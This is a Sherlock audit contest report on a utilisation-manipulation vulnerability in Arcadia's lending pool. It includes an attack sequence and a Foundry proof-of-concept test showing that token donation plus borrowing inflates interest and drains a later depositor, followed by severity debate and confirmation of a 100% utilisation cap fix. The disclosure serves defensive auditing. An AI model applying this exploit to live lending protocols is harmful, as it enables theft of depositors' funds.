Bandit - Utilisation Can Be Manipulated Far Above 100%

[sherlock-admin2]

Bandit

high

Utilisation Can Be Manipulated Far Above 100%

Summary

The utilisation of the protocol can be manipulated far above 100% via token donation. It is easiest to set this up on an empty pool. This can be used to manipulate the interest to above 10000% per minute to steal from future depositors.

Vulnerability Detail

This attack is inspired by / taken from this bug report for Silo Finance. I recommend reading it as is very well written: https://medium.com/immunefi/silo-finance-logic-error-bugfix-review-35de29bd934a

The utilisation is basically assets_borrowed / assets_loaned. A higher utilisation creates a higher interest rate. This is assumed to be less than 100%. However if it exceeds 100%, there is no cap here:

https://github.com/sherlock-audit/2023-12-arcadia/blob/main/lending-v2/src/LendingPool.sol#L809-L817

Normally, assets borrowed should never exceed assets loaned, however this is possible in Arcadia as the only thing stopping a borrow exceeding loans is that the transfer of tokens will revert due to not enough tokens in the Lending pool. However, an attacker can make it not revert by simply sending tokens directly into the lending pool. For example using the following sequence:

1. deposit 100 assets into tranche
2. Use ERC20 Transfer to transfer 1e18 assets into the LendingPool
3. Borrow the 1e18 assets

These are the first steps of the coded POC at the bottom of this issue. It uses a token donation to make a borrow which is far larger than the loan amount.

In the utilisation calculation, this results in a incredibly high utilisation rate and thus interest rate as it is not capped at 100%. This is why some protocols implement a hardcap of utilisation at 100%.

The interest rate is so high that over 2 minutes, 100 assets grows to over100000 assets, or a 100000% interest over 2 minutes. The linked similar exploit on Silo Finance has an even more drastic interest manipulation which could drain the whole protocol in a block. However I did not optimise the numbers for this POC.

Note that the 1e18 assets "donated" to the protocol are not lost. They can simply be all borrowed into an attackers account.

The attacker can set this up when the initial lending pool is empty. Then, they can steal assets from subsequent depositors due to the huge amount of interest collected from their small initial deposit

Let me sum up the attack in the POC:

1. deposit 100 assets into tranche
2. Use ERC20 Transfer to transfer 1e18 assets into the LendingPool
3. Borrow the 1e18 assets
4. Victim deposits into tranche
5. Attacker withdraws the victims funds which is greater than the 100 assets the attacker initially deposited

Here is the output from the console.logs:

Running 1 test for test/scenario/BorrowAndRepay.scenario.t.sol:BorrowAndRepay_Scenario_Test
[PASS] testScenario_Poc() (gas: 799155)
Logs:
  100 initial pool balance. This is also the amount deposited into tranche
  warp 2 minutes into future
  mint was used rather than deposit to ensure no rounding error. This a UTILISATION manipulation attack not a share inflation attack
  22 shares were burned in exchange for 100000 assets. Users.LiquidityProvider only deposited 100 asset in the tranche but withdrew 100000 assets!

This is the edited version of setUp() in _scenario.t.sol

function setUp() public virtual override(Fuzz_Lending_Test) {
        Fuzz_Lending_Test.setUp();
        deployArcadiaLendingWithAccounts();

        vm.prank(users.creatorAddress);
        pool.addTranche(address(tranche), 50);

        // Deposit funds in the pool.
        deal(address(mockERC20.stable1), users.liquidityProvider, type(uint128).max, true);

        vm.startPrank(users.liquidityProvider);
        mockERC20.stable1.approve(address(pool), 100);
        //only 1 asset was minted to the liquidity provider
        tranche.mint(100, users.liquidityProvider);
        vm.stopPrank();

        vm.startPrank(users.creatorAddress);
        pool.setAccountVersion(1, true);
        pool.setInterestParameters(
            Constants.interestRate, Constants.interestRate, Constants.interestRate, Constants.utilisationThreshold
        );
        vm.stopPrank();

        vm.prank(users.accountOwner);
        proxyAccount.openMarginAccount(address(pool));
    }

This test was added to BorrowAndRepay.scenario.t.sol

    function testScenario_Poc() public {

        uint poolBalance = mockERC20.stable1.balanceOf(address(pool));
        console.log(poolBalance, "initial pool balance. This is also the amount deposited into tranche");
        vm.startPrank(users.liquidityProvider);
        mockERC20.stable1.approve(address(pool), 1e18);
        mockERC20.stable1.transfer(address(pool),1e18);
        vm.stopPrank();

        // Given: collateralValue is smaller than maxExposure.
        //amount token up to max
        uint112 amountToken = 1e30;
        uint128 amountCredit = 1e10;

        //get the collateral factor
        uint16 collFactor_ = Constants.tokenToStableCollFactor;
        uint256 valueOfOneToken = (Constants.WAD * rates.token1ToUsd) / 10 ** Constants.tokenOracleDecimals;

        //deposits token1 into proxyAccount
        depositTokenInAccount(proxyAccount, mockERC20.token1, amountToken);

        uint256 maxCredit = (
            //amount credit is capped based on amount Token
            (valueOfOneToken * amountToken) / 10 ** Constants.tokenDecimals * collFactor_ / AssetValuationLib.ONE_4
                / 10 ** (18 - Constants.stableDecimals)
        );


        vm.startPrank(users.accountOwner);
        //borrow the amountCredit to the proxy account
        pool.borrow(amountCredit, address(proxyAccount), users.accountOwner, emptyBytes3);
        vm.stopPrank();

        assertEq(mockERC20.stable1.balanceOf(users.accountOwner), amountCredit);

        //warp 2 minutes into the future.
        vm.roll(block.number + 10);
        vm.warp(block.timestamp + 120);

        console.log("warp 2 minutes into future");

        address victim = address(123);
        deal(address(mockERC20.stable1), victim, type(uint128).max, true);

        vm.startPrank(victim);
        mockERC20.stable1.approve(address(pool), type(uint128).max);
        uint shares = tranche.mint(1e3, victim);
        vm.stopPrank();

        console.log("mint was used rather than deposit to ensure no rounding error. This a UTILISATION manipulation attack not a share inflation attack");

        //function withdraw(uint256 assets, address receiver, address owner_)

        //WITHDRAWN 1e5
        vm.startPrank(users.liquidityProvider);
        uint withdrawShares = tranche.withdraw(1e5, users.liquidityProvider,users.liquidityProvider);
        vm.stopPrank();

        console.log(withdrawShares, "shares were burned in exchange for 100000 assets. Users.LiquidityProvider only deposited 100 asset in the tranche but withdrew 100000 assets!");


    }

Impact

An early depositor can steal funds from future depositors through utilisation/interest rate manipulation.

Code Snippet

https://github.com/sherlock-audit/2023-12-arcadia/blob/main/lending-v2/src/LendingPool.sol#L809-L817

Tool used

Manual Review

Recommendation

Add a utilisation cap of 100%. Many other lending protocols implement this mitigation.

[sherlock-admin2]

1 comment(s) were left on this issue during the judging contest.

takarez commented:

valid: utilization should be mitigated; high(6)

[sherlock-admin]

The protocol team fixed this issue in PR/commit arcadia-finance/lending-v2#137.

[sherlock-admin2]

This should be high as it can steal both the first subsequent deposit and all future deposits after that. The original linked issue for Silo Finance was Critical although Silo had multiple simultaneous pools. The interest rate formula for both Silo and Arcadia are the same, but that POC was more optimised which shows a faster rate of massive interest accrual.

You've deleted an escalation for this issue.

[nevillehuang]

Hi @Banditx0x I believe the following factors mentioned by @zzykxx in his report warrants the decrease in severity:

• The interest rate is capped at 2^80 (~= 10^24) because of the downcasting in LendingPool::_calculateInterestRate(). The maximum interest is about 100% every 20 days.
• The tokens sent directly to the pool by the griefer are effectively lost and can be transferred to the treasury.
• The virtual shares implementation in the tranches might prevent the attacker from collecting all of the interest.

Sponsors Comments:

impact is only possible in quasi empty pools, and cost for doing it is largely in line with the damage done. In the example of 93, only 100 assets are in the pool, 1e18 are donated by the attacker → only the user borrowing the 100 assets is affected, so in this case of an empty pool, not a lot, and even more, the 1e18 can indeed be borrowed by the attacker, but he’ll be liquidated and incur a loss himself: he is the one paying the interest he jacked up (even if only >100 is recovered through liquidations, the LP actually profits, since the penalty is paid on a larger amount than what the “good” lp borrowed out). → low probability, cost is high → medium at most

[zzykxx]

Hey @Banditx0x, correct me if I'm wrong, but I think the following applies here:

• In the Silo finance exploit depositing assets in a pool allowed to use the shares of the said pool to borrow other assets. An attacker could deposit a small amount, borrow his own donation (increasing the utilization rate), which had the effect of increasing the value of his initial donation. Then he could use the initial donation, which is now extremely overvalued, as collateral to borrow assets and steal funds. This is not possible here because the shares of a lending pool cannot be used as collateral to borrow assets.
• Unlike the Silo finance case, the maximum interest rate achievable is capped at uint80 =~ 10^24.
• To steal a sensible amount of funds the attacker should first deposit more than "100" assets. But by depositing more than "100" assets the required amount to donate to achieve maximum utilization manipulation also increases. You could argue this is not the case and more time just needs to pass, but if anybody in the meantime deposits extra funds in the tranche and/or calls updateInterestRate() the interest rate will diminish the speed at which it increases.
• The attacker, which as you said can borrow his own donation, also has to pay interest on it.
• In your POC the virtual shares are not taken into account. As we know virtual shares cause a loss to the first depositor, this depends on the amount of decimals and the value of the underlying and also by how much the virtual share is set at.

Some damage can be caused by abusing this issue, but I think the damage is not big enough to classify this as high severity. Of course, I would be more than happy to be proven wrong since this would also be in my personal interest.

[Banditx0x]

@zzykxx thanks for the response. You're right that the Silo finance situation had much higher impact due to manipulation of one asset allowing borrows of another. However I had originally thought that the impact would be High even with this in mind as it had the same impact as the share inflation attack which historically has had high severity.

I hadn't realised the maximum interest rate was capped at uint80, which indeed caps the interest rate to far lower than the issue I had linked.

Given the slower interest rate accrual than I originally thought, I agree with the medium severity.

Edit: i deleted past escalation comment due to this discussion. Just so this conversation makes sense for future readers.

[Czar102]

Planning to reject the escalation and leave the issue as is.

[Czar102]

Result:
Medium
Has duplicates

[midori-fuse]

Wasn't the escalation deleted before the period end?

Banditx0x's comment was last edited on 5:26AM UTC, while the escalation period end was 12:36PM same day.

[Czar102]

@midori-fuse It looks so, we will look into it. Thank you for bringing this up!

[Czar102]

The escalation should have been deleted, there was an issue on Sherlock's part that's now resolved.

[IAm0x52]

Fix looks good. Utilization is now capped at 100%

[sherlock-admin4]

The Lead Senior Watson signed off on the fix.